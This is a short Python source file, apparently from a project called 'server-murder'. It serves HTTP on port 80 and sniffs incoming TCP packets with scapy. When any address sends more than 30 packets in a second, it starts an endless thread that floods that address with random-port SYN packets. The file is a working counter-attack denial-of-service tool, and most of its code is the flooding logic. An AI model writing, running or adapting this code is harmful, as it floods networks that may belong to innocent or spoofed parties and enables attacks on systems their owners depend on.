server-murder/server/main.py

48 lines
1.1 KiB
Python

from scapy.all import *
import http.server
import socketserver
import threading
from time import sleep
PORT = 80
MY_IP = get_if_addr(conf.iface)
Handler = http.server.SimpleHTTPRequestHandler
http = socketserver.TCPServer(("", PORT), Handler)
addresses = {}
def spam(ip):
while True:
packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S")
send(packet, verbose = False)
def empty_addresses():
while True:
sleep(1)
addresses.clear()
def handler(pkt):
print(pkt)
address = pkt[IP].src
if address == MY_IP: return
if address in addresses.keys():
count = addresses[address]
if count > 30:
spammer = threading.Thread(target=spam, args=(address,))
spammer.start()
addresses[address] += 1
else:
addresses[address] = 1
def sniff_packets():
sniff(filter=f"tcp port {PORT}", prn=handler)
if __name__ == "__main__":
sniffer = threading.Thread(target=sniff_packets)
sniffer.start()
emptyer = threading.Thread(target=empty_addresses)
emptyer.start()
http.serve_forever()
print("serving at port", PORT)